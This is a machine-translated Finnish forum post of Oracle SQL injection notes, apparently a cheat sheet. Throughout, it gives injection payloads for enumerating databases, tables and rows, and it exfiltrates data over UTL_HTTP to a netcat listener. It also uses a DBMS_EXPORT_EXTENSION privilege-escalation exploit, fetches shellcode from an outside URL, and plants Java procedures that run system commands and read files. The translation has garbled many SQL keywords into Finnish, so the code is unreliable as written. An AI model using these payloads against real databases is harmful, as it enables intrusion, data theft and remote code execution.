Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 11931|Vastaus: 0

[Turvallinen viestintä] SQL-injektiomuistiinpanot oraakkeli

[Kopioi linkki]
Julkaistu 24.1.2015 12.58.17 | | |
Tätä julkaisua muokattiin viimeksi testin toimesta 24.1.2015 klo 13:01

Kommentti: --
Usean lauseen suoritusta ei tueta, ja liittoutuneet kyselyt ovat tuettuja
Tietokantojen nimet, taulukoiden nimet ja sarakkeiden nimet on kaikki isolla kirjattu.


pituus(kenttä)
ascii(substr(kenttä, N, 1))


ja (valitse count(*) dualista)>0 -- Määritä, onko se oraakkeli vai ei

Käsky n--

ja 1=2 union select null, null,.....,null dual-- korvaa null N:llä tai 'N':llä

ja 1=2 union select null, (sql-lause) ,.....,null duaalista -- vaihda muotoon (sql-lause) kohdassa 'N'

ja (valitse count(*) all_objects:sta, missä object_name='UTL_HTTP')>0 -- Määritä, tuetaanko UTL_HTTP (vienti-IP tunnetaan)

ja UTL_HTTP.request('http://LocalIP:port'|| (SQL-lause)) =1-- Lähetä viestejä etänä, paikalliseen kuunteluun nc -vv -l -p 1234


SQL-lauseet
Valitse banneri sys.v_$versionista, jossa rownum=1 orakkeliversion kyselyyn
valitse jäsen v$logfilesta, missä rownum=1 Kysy lokitiedoston polkua (Windows tai Linux)
valitse utl_inaddr.get_host_address dualista kysyäksesi tietokannan kuuntelevan IP:n
Valitse instance_name v$instanssista kysyäksesi sid-tiedostoa
valitse nimi v$tietokannasta Kysy nykyinen tietokantanimi
Valitse sys_context ('userenv','current_user') kaksoiskyselytietokannan käyttäjistä
Valitse * session_roles missä rownum=1 kysyäksesi nykyisiä käyttöoikeuksia
valitse * session_roles missä rownum=1 [ja rooli<>'ensimmäinen käyttöoikeusnimi']



valitse table_name user_tables missä rownum=1 Nykyisen tietokannan ensimmäinen taulukkosegmentti
valitse table_name||','|| tablespace_name user_tables missä rownum=1 Ensimmäinen taulukkosegmentti, tietokanta (varmennuksessa se ei välttämättä ole v$database)
valitse table_name user_tables, missä rownum=1 ja table_name<>'ensimmäinen taulukkosegmentti' Nykyisen tietokannan toinen taulukkosegmentti

Valitse column_name user_tab_columns -kohdasta, jossa rownum=1 ja table_name='Taulusegmentti' Ensimmäinen kenttä, joka vastaa taulun nimeä
valitse column_name user_tab_columns missä rownum=1 ja table_name='Taulusegmentti' sekä column_name<>'Ensimmäinen kenttä' Toinen kenttä, joka vastaa taulukon nimeä

Valitse kenttä taulukkosegmentistä, jossa rownum=1 rikkoo ensimmäisen rivin sisältöä
Valitse kenttä taulukkosegmentistä, jossa rownum=1 ja kenttä <> 'ensimmäinen rivi content' paljastaa toisen rivin sisällön


Kirjastojen välinen toiminta
Valitse omistaja all_tables, jossa rownum=1 kysyy ensimmäisen tietokannan nimen
Valitse omistaja all_tables missä rownum=1 ja omistaja<> 'Ensimmäinen tietokantanimi' kysyäksesi toista tietokantanimeä

valitse table_name all_tables, missä rownum=1 ja owner='tietokannan nimi' Kysy vastaavan tietokannan ensimmäinen taulun nimi
Valitse table_name all_tables, jossa rownum=1 ja owner='tietokannan nimi' sekä table_name<>'ensimmäisen taulun nimi' kysyäksesi vastaavan tietokannan toisen taulun nimeä

valitse column_name all_tab_columns -kohdasta, jossa rownum=1 ja owner='tietokannan nimi' sekä table_name='taulukkosegmentti' Ensimmäinen kenttä, joka vastaa taulun nimeä
Valitse column_name all_tab_columns, missä rownum=1 ja owner='tietokannan nimi' sekä table_name='taulukkosegmentti' ja column_name<>'ensimmäinen kenttä' Toinen kenttä, joka vastaa taulun nimeä

Valitse kenttä tietokannasta. taulukkosegmentti, jossa rownum=1 rikkoo ensimmäisen rivin sisältöä
Valitse kenttä tietokannasta. Taulukon segmentti, jossa rownum=1 ja kenttä <> 'Ensimmäisen rivin sisältö' rikkoo toisen rivin sisällön





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); monilause LOPPU; --','SYS',0,'1',0)--

Jos 'on escaped, käytetään chr():tä.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Monilause || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Jos useat lauseet ovat liian pitkiä, voit kirjoittaa lausunnon verkkosivun tiedostoon ja hakea sen utl_http.request-tiedostolla.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Luo JAVA-paketti SecTest
runCMD:tä käytetään järjestelmäkomentojen suorittamiseen
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITA VÄLITÖN''JULISTA PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI''luo tai korvaa ja käännä java-lähdekoodi nimeltä "SecTest" tuonniksi java.io.*; public class SecTest laajentaa Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); paluuvoima; }catch(Exception e){return e.toString(); }}}''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--

readFilea käytetään tiedoston lukemiseen
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITA VÄLITÖN''JULISTA PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI''luo tai korvaa ja käännä java-lähdekoodi nimeltä "SecTest" tuonniksi java.io.*; public class SecTest laajentaa Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); paluuvoima; }catch(Exception e){return e.toString(); }}}''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--



Myönnä Java-oikeudet
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''aloita dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute''''''''); loppu; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--



Luo funktio
SecRunCMD-funktio
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''luo tai korvaa funktio SecRunCMD(p_cmd varchar2:ssa) palauttaa varchar2 kielenä java name''''''''SecTest.runCMD(java.lang.String) palauttaa String'''''''' ; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--

SecReadFile-funktio
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITÖN ''''luo tai korvaa funktio SecReadFile(tiedostonimi varchar2:ssa) palauttaa varchar2 kielenä java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--



Myönnä lupa julkisen tehtävän suorittamiseen
SecRunCMD:lle myönnetään oikeudet
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA TOIMEENPANO VÄLITTÖMÄSTI ''myönnä kaikki SecRunCMD:ssä yleisölle'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--

SecReadFile
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''myönnä kaikki SecReadFile-tiedostot julkiselle'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--



Tunnistaa, onko funktio onnistuneesti luotu
ja (valitse count(*) all_objects, missä object_name='SECRUNCMD')>0--
ja (valitse count(*) all_objects, missä object_name='SECREADFILE')>0--



Suorita käsky
ja '1'<>(valikoitu järjestelmä. SecRunCMD ('Suorita komento') dualista)--
ja '1'<>(valikoitu järjestelmä. SecReadFile('tiedoston fyysinen osoite') dualista)--
tai
ja 1=2 union select null,...,sys. SecRunCMD('suorita komento'),...,null dual--
ja 1=2 union select null,...,sys. SecReadFile('tiedoston fyysinen osoite'),...,null dual--
tai
ja '1'<>(valitse UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Suorita komento'),' ',' '),'\n',' ')) dualista)--
ja '1'<>(valitse UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Tiedosto fyysinen osoite'),' ',',','\n',' ')) dualista)--



Delete-funktio
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''drop-funktio SecRunCMD'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--
ja '1'<>'a'|| (valitse SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SUORITTAA VÄLITTÖMÄSTI ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALOITA SUORITUS VÄLITTÖMÄSTI ''''pudota funktio SecReadFile'''; LOPPU; ''; LOPPU; --','SYS',0,'1',0) dualista)--




Edellinen:Voinko hakea kohtuullista, mitä ehtoja tarvitsen?
Seuraava:ORALCE saa isäntänimen ja IP-osoitteen
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com